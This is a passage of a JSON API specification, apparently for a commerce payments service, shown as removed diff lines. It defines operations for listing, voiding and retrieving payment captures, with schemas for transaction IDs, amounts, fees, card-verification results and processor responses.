"urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - }, - { - "name": "page", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 1 - } - }, - { - "name": "pageSize", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 10 - } - }, - { - "name": "totalRequired", - "in": "query", - "required": false, - "schema": { - "type": "boolean", - "default": false - } - } - ], - "responses": { - "200": { - "description": "Capture list", - "schema": { - "title": "Captures", - "allOf": [ - { - "properties": { - "totalItems": { - "type": "integer" - }, - "totalPages": { - "type": "integer" - }, - "links": { - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "description": "HATEOAS links", - "type": "array", - "x-auto-generated": true, - "definitions": { - "Link": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" - }, - "rel": { - "type": "string" - } - } - } - }, - "items": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" - }, - "rel": { - "type": "string" - } - } - } - } - } - } - ], - "properties": { - "items": { - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/capture.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Capture Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } - }, - "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents capture transaction against a payment", - "properties": { - "parentTransactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - } - }, - "type": "array" - } - } - } - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read", - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "voidCaptureByRefNum", - "method": "DELETE", - "path": "/stores/{storeId}/payments/{paymentId}/captures/{transactionRefNum}", - "summary": "Void Capture", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionRefNum", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "responses": { - "200": { - "description": "Request was successful" - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "getCaptureById", - "method": "GET", - "path": "/stores/{storeId}/payments/{paymentId}/captures/{transactionId}", - "summary": "Get Capture", - "description": "Retrieve the information of the capture by the transaction ID.", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "responses": { - "200": { - "description": "Capture Found", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/capture.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Capture Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": 